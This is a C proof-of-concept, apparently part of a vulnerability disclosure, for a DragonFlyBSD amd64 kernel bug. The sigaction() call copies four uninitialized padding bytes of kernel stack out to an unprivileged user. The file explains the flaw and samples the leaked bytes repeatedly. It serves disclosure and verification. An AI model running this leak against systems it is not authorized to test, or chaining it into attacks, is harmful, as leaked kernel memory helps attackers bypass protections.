DF-0007 / leak_sigaction.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | /* * DF-0007 PoC - struct sigaction trailing-padding info leak via oact copyout. * * On amd64, struct sigaction (sys/sys/signal.h:221) has the layout: * * offset 0: union __sigaction_u (8 bytes, function pointer) * offset 8: int sa_flags (4 bytes) * offset 12: sigset_t sa_mask (16 bytes, unsigned int[4], 4-byte align) * offset 28: <4 bytes trailing padding> <-- NOT a named field * sizeof(struct sigaction) == 32 (struct alignment is 8) * * sys_sigaction() (sys/kern/kern_sig.c:384) stack-allocates * struct sigaction act, oact; * uninitialized. kern_sigaction() (kern_sig.c:260-279) writes oact field by * field -- sa_handler, sa_mask, sa_flags -- but NEVER touches the 4 trailing * pad bytes at offset 28-31. sys_sigaction() then does * copyout(oactp, uap->oact, sizeof(oact)); // kern_sig.c:397 * copying all 32 bytes, including the 4 uninitialized kernel-stack bytes. * * An unprivileged caller invoking sigaction(signo, NULL, &oact) therefore * receives up to 4 bytes of kernel-stack residue in the padding region of its * userland struct sigaction. (i386 is unaffected: there the union is 4 bytes * and sizeof(struct sigaction) == 24 with no trailing pad.) * * Build (DragonFlyBSD, amd64): cc -o leak_sigaction leak_sigaction.c * Run as an UNPRIVILEGED user: ./leak_sigaction * * Expected (bug present): prints the 4 padding bytes for several samples; * they differ from the 0xAA marker and from anything the kernel wrote, i.e. * they are leaked kernel stack residue. On a fixed kernel the padding reads * as the marker or zero. */ #include <sys/sysctl.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> static void dump32(const char *tag, const unsigned char *b) { unsigned int *pad = (unsigned int *)(b + 28); printf("%s: %02x %02x %02x %02x %02x %02x %02x %02x " "%02x %02x %02x %02x %02x %02x %02x %02x " "%02x %02x %02x %02x %02x %02x %02x %02x " "%02x %02x %02x %02x | %02x %02x %02x %02x " "(pad word 0x%08x)\n", tag, b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7], b[8], b[9], b[10], b[11], b[12], b[13], b[14], b[15], b[16], b[17], b[18], b[19], b[20], b[21], b[22], b[23], b[24], b[25], b[26], b[27], b[28], b[29], b[30], b[31], *pad); } /* Dirty the kernel stack with varying residue between sigaction() calls so * the leak is more visible: open/close a pipe, read sysctls, etc. */ static void dirty_stack(unsigned int seed) { int pfd[2]; char tmp[64]; if (pipe(pfd) == 0) { close(pfd[0]); close(pfd[1]); } (void)sysctlbyname("kern.boottime", tmp, &(size_t){sizeof(tmp)}, NULL, 0); (void)getpid(); (void)getuid(); /* touch seed so the compiler can't elide it */ volatile unsigned int v = seed; (void)v; } int main(void) { unsigned char buf[32]; /* >= sizeof(struct sigaction) on amd64 */ unsigned int marker = 0xAAAAAAAA; size_t pad_off, sz; int i, leaks = 0; sz = sizeof(struct sigaction); printf("sizeof(struct sigaction) = %zu\n", sz); /* * On amd64 the trailing padding starts at offset 28 and runs to * sizeof (32). Compute it defensively in case of future layout change: */ pad_off = sz - 4; /* last 4 bytes are the trailing pad on amd64 */ if (sz <= 28) { printf("no trailing padding on this arch (sz=%zu) -- not affected\n", sz); return 2; } printf("padding region: offset %zu..%zu\n", pad_off, sz - 1); printf("marker = 0x%08x (we memset the buffer with this before each call)\n", marker); printf("layout: [0..7]=sa_handler [8..11]=sa_flags [12..27]=sa_mask " "[28..31]=<padding>\n\n"); for (i = 0; i < 8; i++) { struct sigaction *o = (struct sigaction *)buf; /* Fill with a known marker so we can tell what the kernel wrote. */ memset(buf, 0xAA & 0xff, sizeof(buf)); /* Dirty the kernel stack first to maximize visible residue. */ dirty_stack((unsigned int)i * 0x01010101u + 0x42424242u); if (sigaction(SIGUSR1, NULL, o) != 0) { perror("sigaction"); return 1; } unsigned int *pad = (unsigned int *)(buf + pad_off); dump32("sample", buf); /* * Leaked RESIDUE = the padding word is neither our 0xAA marker * NOR zero. On a BUGGY kernel the padding holds non-zero * kernel-stack residue (e.g. a pointer fragment like 0xfffff800); * on a FIXED kernel the padding is zero (the kernel zero-inits the * struct, so the padding is defined, not leaked). */ if (*pad != marker && *pad != 0) leaks++; } printf("\nsamples with non-marker non-zero padding (leaked residue): %d/8\n", leaks); printf("result: %s\n", leaks ? "LEAK CONFIRMED" : "no residue observed (padding zero/defined)"); return (leaks ? 0 : 2); } |